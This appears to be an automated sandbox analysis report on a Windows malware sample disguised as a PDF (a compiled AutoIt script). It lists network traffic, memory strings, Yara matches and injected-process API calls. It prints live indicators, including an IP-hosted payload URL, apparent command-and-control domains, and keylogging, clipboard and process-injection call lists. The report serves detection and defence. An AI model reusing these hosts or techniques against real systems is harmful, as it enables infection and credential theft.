Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:10:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:10:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 13 Dec 2024 12:10:25 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6

Source: recover.exe, 00000003.00000003.3092659925.0000000003371000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4204450845.0000000003371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.45/dashboard/xl.exe
Source: recover.exe, 00000003.00000003.3092659925.0000000003371000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4204450845.0000000003371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.45/dashboard/xl.exe&
Source: oCCZhsVsNwIIN.exe, 00000007.00000002.4206800241.0000000004C6E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.030002059.xyz
Source: oCCZhsVsNwIIN.exe, 00000007.00000002.4206800241.0000000004C6E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.030002059.xyz/er88/
Source: recover.exe, 00000003.00000002.4205854920.0000000004DE2000.00000004.10000000.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000036A2000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi?9B_ppt=1GFNWjEU8kwZ/mmLeya/cJNKrhAK4goi9jYz
Source: firefox.exe, 00000008.00000002.2219879934.0000000025054000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.idsmart.online/jbgy/?9B_ppt=WpM
Source: recover.exe, 00000003.00000002.4205854920.0000000005106000.00000004.10000000.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000039C6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.stationseek.online/3qlo?9B_ppt=T329z6mTpDO/RjmIsaX6GxS
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: recover.exe, 00000003.00000002.4204255129.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: recover.exe, 00000003.00000002.4204255129.00000000032E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: recover.exe, 00000003.00000002.4204255129.00000000032E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: recover.exe, 00000003.00000003.2107451608.0000000008303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: recover.exe, 00000003.00000002.4205854920.000000000492C000.00000004.10000000.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000031EC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://tenmyk.shop/irzc/?Sbv8I=RfPDYvIHtJXp8&9B_ppt=nYLQ8syZYIEqykNPtdlYwElZKL5y37q0UOpjKQ4AHu5ne0c
Source: recover.exe, 00000003.00000002.4207941820.000000000832B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.0000000003B58000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.strato.de

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B5425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00B5425A

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B54458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00B54458

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

0_2_00B5425A

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B40219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00B40219

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B6CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00B6CDAC

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4206800241.0000000004BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4204068794.0000000002F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205129970.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205169396.0000000003670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1923090053.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924622437.0000000005730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924200724.00000000039A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4204999427.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00AE3B4C
Source: SC_TR11670000_pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SC_TR11670000_pdf.exe, 00000000.00000000.1736858249.0000000000B95000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1e40a128-c
Source: SC_TR11670000_pdf.exe, 00000000.00000000.1736858249.0000000000B95000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_25d3eb9b-f
Source: SC_TR11670000_pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c9da2173-a
Source: SC_TR11670000_pdf.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_bccc72d2-5

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SC_TR11670000_pdf.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C8F3 NtClose,	1_2_0042C8F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672B60 NtClose,LdrInitializeThunk,	1_2_03672B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03672DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672C70 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03672C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036735C0 NtCreateMutant,LdrInitializeThunk,	1_2_036735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03674340 NtSetContextThread,	1_2_03674340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03674650 NtSuspendThread,	1_2_03674650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672BE0 NtQueryValueKey,	1_2_03672BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672BF0 NtAllocateVirtualMemory,	1_2_03672BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672BA0 NtEnumerateValueKey,	1_2_03672BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672B80 NtQueryInformationFile,	1_2_03672B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672AF0 NtWriteFile,	1_2_03672AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672AD0 NtReadFile,	1_2_03672AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672AB0 NtWaitForSingleObject,	1_2_03672AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672F60 NtCreateProcessEx,	1_2_03672F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672F30 NtCreateSection,	1_2_03672F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672FE0 NtCreateFile,	1_2_03672FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672FA0 NtQuerySection,	1_2_03672FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672FB0 NtResumeThread,	1_2_03672FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672F90 NtProtectVirtualMemory,	1_2_03672F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672E30 NtWriteVirtualMemory,	1_2_03672E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672EE0 NtQueueApcThread,	1_2_03672EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672EA0 NtAdjustPrivilegesToken,	1_2_03672EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672E80 NtReadVirtualMemory,	1_2_03672E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672D30 NtUnmapViewOfSection,	1_2_03672D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672D00 NtSetInformationFile,	1_2_03672D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672D10 NtMapViewOfSection,	1_2_03672D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672DD0 NtDelayExecution,	1_2_03672DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672DB0 NtEnumerateKey,	1_2_03672DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672C60 NtCreateKey,	1_2_03672C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672C00 NtQueryInformationProcess,	1_2_03672C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672CF0 NtOpenProcess,	1_2_03672CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672CC0 NtQueryVirtualMemory,	1_2_03672CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672CA0 NtQueryInformationToken,	1_2_03672CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03673010 NtOpenDirectoryObject,	1_2_03673010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03673090 NtSetValueKey,	1_2_03673090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036739B0 NtGetContextThread,	1_2_036739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03673D70 NtOpenThread,	1_2_03673D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03673D10 NtOpenProcessToken,	1_2_03673D10
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03944340 NtSetContextThread,LdrInitializeThunk,	3_2_03944340
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03944650 NtSuspendThread,LdrInitializeThunk,	3_2_03944650
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942BA0 NtEnumerateValueKey,LdrInitializeThunk,	3_2_03942BA0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_03942BF0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942BE0 NtQueryValueKey,LdrInitializeThunk,	3_2_03942BE0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942B60 NtClose,LdrInitializeThunk,	3_2_03942B60
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942AD0 NtReadFile,LdrInitializeThunk,	3_2_03942AD0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942AF0 NtWriteFile,LdrInitializeThunk,	3_2_03942AF0
